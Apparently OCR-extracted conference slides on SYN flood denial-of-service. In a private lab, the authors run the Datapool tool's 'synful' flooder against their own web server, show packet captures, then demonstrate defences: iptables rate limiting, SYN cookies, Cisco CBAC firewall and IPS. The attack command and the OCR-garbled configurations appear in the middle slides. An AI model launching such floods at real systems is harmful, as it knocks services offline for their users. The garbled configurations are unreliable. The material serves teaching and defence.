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Overview

e INtroduction of DoS attack

e Attack 1— Target Is the host

e Attack 2 — Target iIs the network
e SUMMary

234 Annual Computer Security Application Conference



What i1s Denial of Service Attack?

e “Attack in which the primary goal is to deny
the victim(s) access to a particular
resource.” (CERT/CC)

e The definition covers many types of DoS

e Three basic types of DoS— Smurf, Fraggle,
SYN Flood Attack.

e This study only focuses on SYN Flood Attack

—SYN Flooding DoS attacks are the most
popular DoS attacks
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Why It Is important to exam
this attack?

e Easier to launch the attack

e Many incentives for attackers: unauthorized
use, ego, hate, disrupt competitor...

e The design of the Internet
e There IS no universal solution to the attack
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TCP Is susceptible to DoS
attacks

A: valid sender B: valid receiver
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TCP I1s Susceptible to DoS
Attacks
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DoS Tools

e There are lots of DoS tools.

e In our simulation, we use Datapool.
Datapool is a powerful DoS tool that
Includes 106 DoS attacks.
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Attack 1— Target is the End Node

e Topology: A hub connect web server, sniffer
and attacker.

IF: 192.168.1.254
Gw 192.1658.1.1

-
PCLPT
attafglker
3 192 168.1.1 e
_d-
PCopT Hull-PT Router-PT-Empty
Sniffer Router

IF: 192.168.1.3
Gy 192.1658.1.1

Server-PT
web Server
IF: 192.165.1.2
G 192.168.1.1
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Lab Requirement for Attack 1

e A Linux machine iIs set up as an HTTP Server, the
IP address of which is 192.168.1.2.

e A Windows XP computer Is set up as a Sniffer
running Ethereal, which is a program that turns a
computer’s NIC card Into promiscuous mode to
gather all packets on the wire. The Sniffer’s IP
address is 192.168.1.3.

e Another Linux machine is set up as an Attacker,
running Datapool. The attacker’'s IP address is
192.168.1.254.
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Extract the DoS tool

Download the Datapool and extract the file.

B root® Router2:~
File Edit Wiew Terminal Go Help
[Toot@Router?2 root]# tar zxwvf datapool3.3.tar.
datapool/
datapoo
datapoo
datapoo
datapoo
datapoo
datapool
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapoo
datapool/s

234.cC
rnuplo0. c
scend-foo.c

A AN ffnnnana
el B s

f

nnn

comatose.cC
conseal.cC
duvy.c
echok.c
fawx.c
flatline.c
flushot.c
fogerc.c
alt_gin.c

gewses.C

=

A fnnnfnn

nnn

H
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Lauching the DoS attack to
the server

We launch the DoS SYN flood attack by running datapool.sh with our
HTTP Server as the destination, 80 as the port, T3 as the line speed,
and sinful as the attack type

= 58 root@® Router2:~ [

File Edit Miew Terminal G Help

[root@Router2 datapool]# ./ /datapool.sh -c¢ -d 192.168.1.2 -p B0-80 -1 t3 -r synful

./datapool.sh: line 1178: [: -1t: unary operator expected

Version 3.3
* Multiple IP attacks
onnection Watchi
* Looping attacks =
* Line speed option * Portless attacks
ation * Random urce IP generation
Continuous attacks Simultaneous attacks

e-mail: spender@exterminator.net
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- I . - = <

Attacking...

File Edit View Terminal Go

|Option

Help

|Setting

_____________________________ (e e e e e e e e e e e e e e e e e e e e e U

Destination Host:

Source IP:

Port Range:

Logging:

Scan Only:

Line Speed:

Continuous Attack:

"Don't stop till they drop":
Wait for online host:

# of simultaneous attacks:
Attacks in initial list:

Starting portstan...
192.168.1.2 resolved to 192.
Linux host detected...

192.168.1.2
12.31.16.15
B0-80

OFF

OFF

Modem

ON

OFF

OFF

1

synful

168.1.2

1 TCP port(s) were found open:

80/http

Launching 1
Running SYN
Launching 1
Running SYN
Launching 1
Running SYN
Launching 1
Running SY¥YN
Launching 1

attack(s) at 192.

168.°

flooder (synful)...

attack(s) at 192.

168.]

flooder (synful)...

attack(s) at 192.

168.:

flooder (synful)...

attack(s) at 192.

168.°

flooder (synful)...

attack(s) at 192.

168.:
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Sniffer Shows a Normal
Three-way Handshake

i {Untitled) - Wireshark M =IES|
File Edit Yew Go Capture Analyze  Stakistics  Help
B o e B EH x %« 83 @ « » » F & | BE Q& aQ Q0| @ @ & x|
Eilter:l T  Expression.,. Clear Apply
Ma, - |Time |Scu.|ru:e |Destination |Pru:utncn| |InFn |ﬂ
1 0.000000 1%2.168.1.3 1%2.168.1.2 TCP 1056 > http [SYN] Seqg=0 Len=0 MSS=1460
2 0,000379 192.168.1.2 192,.168.1.3 TCP http = 1098 [SYNM, ACK] Seq=0 Ack=1 win=5840 Len=0 M35=14&0
2 0.000418 192.168.1.3 192,.168,1.2 TCP 10868 > http [ACK] Seqg=l Ack=l Win=17520 Len=0
4 0,000642 192.168.1.3 192,.168,.1.2 HTTP GET /S HTTR/1.1
5 0.0001249 192.168.1.2 192.168.1.3 TCP http > 1096 [ACK] Seg=l Ack=282 win=£43Z Len=0
6 0.000941 192.168.1.2 1%2.168.1.3 HTTP HTTF,/1.1 304 Mot Modified
700000962 192.168.1.2 1%2.168.1.3 TCP http > 1098 [FINM, ACK] Seq=147 Ack=282 win=8432 Len=0
8 0.0009%4 192.168.1.3 1%2.168.1.2 TCP 10596 > http [ACK] Seq=282 Ack=148 win=17374 Len=0
9 0002229 192.1a8.1.35 192.1a8.1.2 TCP 10%6 = http [FIN, ACK] Seq=282 Ack=148 win=17374 Len=0
10 0,002486 192.168.1.2 192,.168,1.3 TCP http = 1096 [ACK] Seq=148 Ack=283 Win=8432 Len=0
11 25.900774 3com_cO:6e:9f Broadcast ARP who has 192.168.1.27 7Tell 192.168.1.254
12 25.900948 pell_79:22:64 Jcom_c0:6e:9f ARP 192.165.1.2 s at 00:14:22:79:22:64
13 25.901055 1%92.168.1.254 192.168.1.2 TCP 46952 > http [SYM] Seq=0 Len=0
14 25.901205 1%2.168.1.2 1%2.168.1.254 TCP http > 46952 [SyW, ACK] Seq=0 Ack=1l win=5840 Len=0 M55=14a0
15 25901325 12 162.168.1.2 46552 > http |[RS Seg=1l Len=0
1a Z5.5801880 192.1a8.1.254 192.1a8.1.2 TCP 46959 = http [SYW, ECH] Seq=0 Len=0 wS=10 M55=265 TSW=10611095¢
17 25.901964 192.168.1.254 192,.168,1.2 TCP 45860 = http [] Seg=0 Len=0 wS=10 M55=265 TSv=1061108567 TSER=
18 25.902045 192.168.1.254 192,.168,1.2 TCP 45861 > http [FIM, S¥M, PSH, URG] Seq=0 Urg=0 Len=0 wWs=10 MSS=
19 25.902145 192.1658.1.254 192.165.1.2 TCR 46862 > http [ack] Seq=0 ack=0 wWin=3072 Len=0 wS=10 M5S=265 TS
20 25.902285 192.168.1.254 152.168.1.2 TCP 46963 > 34446 [SyM] Seq=0 Len=0 wS=10 MSS=2635 Tsv=1061109567 T!
21 25.902385 1%2.168.1.254 1%2.168.1.2 TCP 465964 > 34446 [ACK] Seq=0 Ack=0 wWin=3072 Len=0 wWs=10 MS5=2865 T!
22 25.902465 1%2.168.1.254 1%2.168.1.2 TCP 46965 > 34446 [FIW, PSH, URG] Seq=0 Urg=0 Len=0 wsS=10 MS5=285 -
23 25.902840 1592.168.1.254 1%2.168.1.2 uopP Source port: 46952 Destination port: 34446
24 25.002846 192.168.1.2 192,168.1.254 TCP http = 46959 [S¥YN, ACK] Seq=0 Ack=1l win=579%2 Len=0 MS5=1460 TS5
25 25 1.2 1%2.168.1.254 TCR http = 46961 [SyN, ACK] Seq=0 Ack=1l win=5792 Len=0 M35=1460 T5\
a2 1.2 152 1,254 = 46 RST] Seq=0 Len=0
1.2 i 1 4 = 0 =1 win=0 Len=0
2 i 4

Frame 74 (60 bytes on wire, 60 hbytes captured)

Ethernet II, Src: 3com_cO:6e:9fF (00:01:02:c0:6e:9F), Dst: Dell_79:22:64 (00:14:22:79:22:64)
Internet Protocol, Src: 201.79.114.58 (201.7%.114.58), Dst: 192.168.1.2 (15%2.1658.1.2)
Transmission Control Protocol, Src Port: 21767 (217670, Dst Port: http (800, Seq: 0, Len: O

HEHBBE
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Sniffer Shows SYN Flooding Packets

4" {Untitled) - Wireshark = |
File Edit Wew Go Capture Analvze Skatistics  Help

= 2 E x % 8| R €« » » F 8|2 E K Q@ Q0 @ @ @B x|

Eilter:l ¥ Expression... Clear Apply

Mo, - |Time |5|:|ur|:e |Destination |Pr|:|t|:|col |InF|:| |i||
l6e 30.552830 15.1%9.164.153 152.1658.1.2 TCP 46088 > http [S¥M] Seq=0 Len=0
167 30.552808 57.161.234.189 1G62.1658.1.2 TCP 5650 > http [SYW] Seqg=0 Len=0
168 30.5529465 112.217.243. 242 1G62.1658.1.2 TCP 8227 > http [SYW] Seq=0 Len=0
169 30.553033 190.80.137.58 152.1a8.1.2 TCP 43282 » http [5¥M] Seg=0 Len=0
170 30,553099 243,119, 228,247 152.1a58.1.2 TCP 12039 > http [5YM] Seg=0 Len=0
171 30.553167 117.199.1%96. 231 152.1658.1.2 TCP 4362 > http [S¥M] Seq=0 Len=0
172 30.553235 145,246, 85.103 1G62.1658.1.2 TCP 59669 > http [S¥N] Seq=0 Len=0
173 30.553303 142.159.45.122 1G62.1658.1.2 TCP 4878 > http [SYM] Seq=0 Len=0
174 30.5533a09 167,234.54.1535 152.1a8.1.2 TCP 53281 > http [S¥M] Seqg=0 Len=0
175 30.553437 28.98.51.18a5 152.1a58.1.2 TCP 10263 > http [SYM] Seg=0 Len=0
176 30.553505 173.153.16.144 152.1658.1.2 TCP 1558 > http [S¥M] Seq=0 Len=0
177 30.553573 &2.5.88.3 1G62.1658.1.2 TCP 5668 > http [SYW] Seg=0 Len=0
178 300553641 154,167, 227,238 1G62.1658.1.2 TCP 50182 > http [S¥N] Seq=0 Len=0
179 30,553708 115.125.203.14a5 152.1a8.1.2 TCP 47653 > http [S¥M] Seg=0 Len=0
180 30,553775 40.75.225.94 152.1a58.1.2 TCP 9251 > http [S¥M] Seqg=0 Len=0
181 30.553844 191.122.70.242 152.1658.1.2 TCP 51460 > http [S¥ym] Seg=0 Len=0
182 30.553011 221.159.184. 2324 162.1658.1.2 TCP 12807 > http [SYn] Seqg=0 Len=0
183 30.55397% 72.43.52.160 1G62.1658.1.2 TCP 58374 > http [S¥N] Seq=0 Len=0
184 30.554048 33.59.242.4 152.1a8.1.2 TCP 185950 > http [S¥M] Seg=0 Len=0
185 30.554113 31.118.168a.234 152.1a8.1.2 TCP 61955 > http [SYM] Seq=0 Len=0
186 30.554181 157.18.101.127 152.1658.1.2 TCP 3857 » http [S¥M] Seq=0 Len=0
187 30.554245 75.63.233.145 162.1658.1.2 TCP 29859 > http [S¥N] Seq=0 Len=0
188 30.554316 6.111.208.163 1G62.1658.1.2 TCP B06E5 > http [S¥N] Seq=0 Len=0
18% 30,554384 255.10.134,52 152.1a8.1.2 TCP S608% > http [S¥N] Seqg=0 Len=0
190 30,554451 179,84.227.163 152.1a8.1.2 TCP 22541 > http [5YM] Seq=0 Len=0
1591 30.55451%9 13.1%96.205.179 152.1658.1.2 TCP 42266 » http [S¥M] Seqg=0 Len=0
152 30.554587 Z31.80.192.78 162.1658.1.2 TCP 40735 > http [SYnN] Seq=0 Len=0
153 30.554655 4G.151.14.26 1G62.1658.1.2 TCP 5734 > http [SYW] Seqg=0 Len=0 hd

Frame 74 (60 bytes on wire, &0 bytes captured)

Ethernet II, Src: 3com_cO:6e:5F (00:01:02:c0:6e2:9F), Dst: Dell_F9:22:64 (00:14:22:79:22:64)
Internet Protocol, Src: 201.79.114.58 (201.79.114.58), Dst: 1%2.168.1.2 (1%92.168.1.2)0
Transmission Control Protocol, Src Port: 21767 (217670, Dst Port: http (80), Seq: 0, Len: O
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Pending Half-connections

Pending half-connections waiting
IN the SYNRECVD state In the Server

hal Froot@ ciscolabserver:— - =
File Edit Wiew Terminal Go Help
[root@ciscolabserver root]# service httpd stop | =~
Stopping httpd: L O 1
[root@ciscolabserver root]# serwvice httpd start
Starting httpd: httpd: Could not determine the serwver's fully gualified domain n
ame, using 127.0.0.1 for ServerName
[ ox 1]
[root@ciscolabserver root]# netstat —-tcl | grep http
top (8] O *:http i LISTEN =
tcp o] O *:http R LISTEN -
tcp o] O *:http R LISTEN
tcp (8] O *:http LIH S LISTEN
tcp (8] O *:http LIS LISTEN
tcp (8] 0O *:http = LISTEN
tcp (o] O *:http LI LISTEN
top (0] O *:http LI LISTEN
tep (8] O =:http i LISTEN |
tcp o] O *:http R LISTEN
tcp 8] O *:http R LISTEN
tcp (8] O *:http LIH S LISTEN
tcp (8] O *:http LIS LISTEN
tcp (o] O *:http LI LISTEN
Itep (0] O *:http LI LISTEN
|tcp (0] O *:http LI LISTEN
[tep o 0O *:http = LISTEN
!tl:p o] O *:http R LISTEN
|[tep 8] O *:http R LISTEN
tcp (8] O *:http LIH S LISTEN
[ tcp (8] O *:http LIS LISTEN
ltep s O =:http = LISTEN
itcp o O =:http = LISTEN
| tcp (0] O *:http LI LISTEN
tep (8] O *:http i LISTEN
tcp o] O *:http R LISTEN
tcp 8] O *:http R LISTEN
tcp (8] O *:http LIH S LISTEN
tcp (8] 0O *:http = LISTEN
top o O *:http LIHES LISTEN
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Analyzing

e Upon analyzing the data captured, we find that the
attacker sends packets at a rate of 13568/s, with
the size of each packet being 60 bytes.

e It takes approximately 21 packets to consume a
10 Mbps line, causing our server to stop answering
any requests. This attack would theoretically have
accomplished this at 0.0015 seconds;

e However, due to processing time and propagation
delay, our client does not receive notification of the
crash until 0.0029 seconds.
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Defend Solution 1: Rate-limiting

Rate-limiting: Limit the number of the connections
per second

Eile Edit Wew Terminal Go Help

D jprm:,fsvs,fnet,flpwlh::mp_echu ignore_all
> [proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
l" > /proc/sys/net/ipv4/conf/all/log_martians

-N syn-flood

-A INPUT -i ethO -p tcp --syn -] syn-flood

-A syn-flood -m limit --limit 1/s --limit-burst 4 -j RETURN

-A syn-flood -j DROP

-4 INPUT -p TCP -i eth0 -m limit --limit 1/s --limit-burst 4 -] DROP

SPEABIEE -~ INPUT -1 ethO -p icmp -m state --state ESTABLISHED,RELATED -j ACCEPT

SPEABIEE -~ OUTPUT -0 eth0 -p icmp -m state --state NEW,ESTABLISHED,RELATED - ACCEPT




Defend Solution 2--SYN Cookies

e Shipped with Linux and FreeBSD, but
unfortunately not enabled by default

e Accepts SYN even If table is full, simply
don’t keep state-> reconstruct using
cookie(seqg#)

e #+ echo
1>/proc/sys/net/ipv4/tcp syncookies
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Attack 2—Target is on the
Network

10.1.1.0/24
192.168. 3.1
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Lab Requirement for Attack 2

e There are three segments of network—
Inside, outside, and DMZ.

e Inside network Is the network we need
protect.

e DMZ has web server and other services that
cab be reached both from inside and
outside.

e We use CISCO routers 7200 running 10S
12.4 for this attack.
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Solution 1--CBAC Firewall

e CBAC will check the access control list first, if the
packets don’t match the list, the packets are
dropped.

e If match, CBAC inspects all the outgoing packets
and maintains state information for every session.
CBAC create temporary openings for outbound
traffic at the firewall interface.

e The return traffic is allowed in only If it is the part
of the original outgoing traffic.
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Solution 1--CBAC Firewall

-® Telnet localhost
o ip http secure—seruver

access—list 1@ remark auto generated by SDM firewall configuration
access—list 1880 »emark SDM_ACL Categoruy=1

access—list 188 deny ip 172_146_.2_ 80 A_@_8_255 any

access—list 1@80 deny ip host 255255 255.255 any

access—1list 1@ deny ip 129 8.8.8 A_255_255_255 any
Aaccess—1list 1@ permit ip any any

access—l1list 181 remark auto generated by SDM firewall configuration
paccess—list 181 remark EDH_HGL Category=1

access—1list 1801 deny ip any any log

paccess—1list 182 remark auto generated by SDM Ffirewall configuration
paccess—list 182 remark SDM_ACL Category=1

access—list 1802 deny ip 172 16.2. 0 A_A_A_255 any

Access—1list 1802 deny ip 1@8.1 .12 8 .. 8_255 any

access—list 182 permit icmp any host 1922 _168_23_2 echo—r»eply
access—list 182 permit dicmp any host 127216823 .2 time—exceeded
access—list 182 permit dicmp any host 1972 _ 16823 .2 unreachahbhle
Aaccess—list 182 permit tocp anwy host 172162180 eqg v
access—list 1682 permit tcp any host 172_16_.2_.11 eq v
access—list 182 permit tocp any host 17216212 eq v
Aaccess—list 182 permit tocp any host 17216213 eq v
access—list 182 permit tocp anwy host 197216214 eqg v
access—list 182 permit tcp any host 172.16.2.15% eqgq wuww
access—list 182 permit tcp any host 17216216 eq v
Aaccess—1list 182 pevrmit top any host 17216217 eq v
access—list 1682 permit tcp any host 172_16_.2_18 eqgq v
access—list 182 permit tcp any host 172.16.2.17 eq wwaw
Aaccess—list 182 permit tocp any host 17216220 eq v
Aaccess—list 182 deny ip 1@, E B.8 A_255 _255_ 255 any
access—list 16802 deny ip 172 16.8.8 A_15 _255_255 any
access—list 1802 deny ip 197216888 A_A_255_255 any
Access—1list 16802 deny ip 129 8.8.8 @A_255 _255_255 any
access—list 182 deny ip host 255 _255_255_255 any

access—list 16802 deny ip host 8.8. 8.8 any

access—list 1802 deny ip any any log
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Solution 1--CBAC Firewall

& Telnet localhost

H

H

interface LoophackB

description EFH_DHZ$

ip address 172.16.2.1 255.255.255.8
ip accesz—group 101 in

I.J'.l:l inszpect dmzinspect out

interface FastEthernetd- @
description $FU_INSIDES

ip address 1@8.1.12_.2 255 _255_255.8
ip access—group 100 in

ip inspect appfu_1H88 in

'ﬂuplﬂx half

interface Seriall B

description $FU_OUTSIDES

ip address 192.168_.23.2 255_255_.255.8
ip access—group 182 in

ip verify wnicast reverse—path

serial restart—delay A

I.t:1|:n::]~°: rate 646060

interface Seriall-l

no ip address

shutdown

|Iser-ial restart—delay A

interface Seriall~2

no ip address

shutdown

Illseria.l restart—delay @

interface Seriall- 3

no ip address

shutdown

'SEPial restart—delay A
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Solution 1--CBAC Firewall

CBAC provides strong protection against denial-of-service
(DoS) attacks. It logs real-time alerts if it detects a DoS
attack, and it uses the following commands to prevent DoS
attacks:

;I.' Telnet localhost ;Iglﬂ

hoot—start—marker
boot—end marker
¥

aaa new—model

cef

inspect log drop—pkt

inzpect audit—trail

inspect max—incomplete high 20080
inspect max—incomplete low 20008
inzpect one—minute high 1888A
inspect one—minute low 1@0@H0A
inspect tcp max—incomplete host 18EA block—-time @
inzpect name appfw_18@ http
inszpect name appfw_1808 tcp
inspect name appfw_16808 udp
inzpect name dmzins=pect tcp
inszpect name dmzinspect udp
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Solution 2— Intrusion
Prevention System(IPS)

e The Intrusion Detection system is an add-on
module to the IOS Firewall Feature Set. It has 59
of the most common attack signatures to detect
Intrusion. When IPS detects suspicious activity, it
logs the event and can either shut down the port
or send an alarm before network security Is
compromised.
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Solution 2— Intrusion
Prevention System(IPS)

% Telnet localhost
’

hostname FU

*

hoot—start—marker
?uut—end—marker

9

Eu aaa new—model

i

ip cef

H

H

ip ips notify SDEE

ip ips name sdm_ips_rule
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Solution 2— Intrusion
Prevention System(IPS)

% Telnet localhost
'
:
interface FastEthernetB- A
ip address 192.168.12.2 255.255.255.8

ip virtual-reassemhly
duplex half
.

interface Seriall-@A

ip address 192.168_.23.2 255.255.255.8
ip ips sdm_ips_rule in

ip virtual-reassembly

zerial restart—delay @

'cluck rate 648680

interface Seriall-l

no ip address

ip virtual-reassembly
shutdown

zerial restart—delay @
)

interface Seriall-s2

no ip address

ip virtual-reasszembhly
shutdown

zerial restart—delay @
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Signature Is triggered

- Telnet localhost

2 .168.23.3:=:8 —> 192.168.12.1:41]

Dec 2 19:13:46.863: 2IPS—4-SIGNATURE:

2.168.23.3:=8 —> 192.168.12.1:41]

Dec 2 19:13:46.895: 2IPS—4-SIGNATURE:
-168.23.3:8 —> 192.168.12.1:81

Dec 2 19:13:46.277: 2IPS—4-SIGHNATURE:
-168.23_.3:8 -> 192 .168.12.1:81

=Dec 2 19:13:46.331: #IPS—4-5IGHATURE:

Dec 2 19:13:46.435: »IPS—4-SIGHNATURE:
-168.23.3:8 —> 192.168.12.1:81

Dec 2 19:13:46.483: »IPS—4-SIGHATURE:
-168.23_.3:8 > 192 _.168.12.1:81]

=Dec 2 19:13:46.519: =IPS—4-5IGHATURE:
-168.23_3:8 —> 192 _.168.12.1:81

wDec 2 19:13:46.623: »IPS—4-SIGNATURE:
-168.23.3:8 —> 192.168.12.1:81

Dec 2 19:13:46.727: »IPS—4-SIGHNATURE:
-168.23.3:8 —> 192.168.12.1:81

Dec 2 19:13:46.875: »IPS—4-SIGHNATURE:
-168.23_.3:8 > 192 _.168.12.1:81

=Dec 2 19:13:46.911: =IPS—4-5IGHATURE:

2. 168.23.3:=0 —> 192.168.12.1:41]

§ig:2004
§ig: 2004
§ig:2004
S ig:2004

§ig:2004
§ig: 2004
§ig:2004
S ig:2004
§ig:2004
§ig: 2004
§ig:2004
S ig:2004
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Subszig:-@
Subsig:=8
Subsig:=8
Subsig:-8
Subszig:-@
Subsig:=8
Subsig:=8
Subsig:-8
Subszig:-@
Subsig:=8
Subsig:=8
Subsig:-8




Attacking is failing...
- I T e R - C

File Edit View Terminal Go Help

Running S¥N flooder (synful).

Continuing attack...he's not

Launching 1 attack(s) at 182.
Running SYN flooder (synful).

Continuing attack...he's not

Launching 1 attack(s) at 182.
Running SYN flooder (synful).

Continuing attack...he's not

Launching 1 attack(s) at 192.
Running SYN flooder (synful).

Continuing attack...he's not

Launching 1 attack(s) at 182.
Running SYN flooder (synful).

Continuing attack...he's not

Launching 1 attack(s) at 192.
Running SYN flooder (synful).

Continuing attack...he's not

Launching 1 attack

Continuing attack...he's not
Launching 1 attack(s)

at 192.
Running SYN flooder (synful).

at 192.

dead yet...
168.1.2 on
dead yet...
168.1.2 on
dead yet...
168.1.2 on
dead yet...
168.1.2 on
dead yet...
168.1.2 on
dead yet...
168.1.2 on
dead yet...

168.1.2 on

Running SY¥YN flooder (synful)...

Killed
[root@Router? datapool]#

port:

port:

port:

port:

port:

port:

port:
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Build A free DoS Attack World

e Customer side—Be a good citizen. How? Using
Egress Filtering: Authenticate Source IP of locally
generated packets.

e ISP side-Using Ingress Filtering: Authenticate
source IP of packets from customer.

e Host—updated OS, patches.

e Stateful Firewall inspect incoming and outgoing
packets and create temporary hole in the firewall.

e IPS-An ounce of prevention is worth a pound of
cure.
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Summary

e Denial of Service attacks represent a
fundamental threat to today’s Internet

e D0S attacks cost significant losses
e Rate-limiting

e SYN cookies

e Firewall

o |IPS
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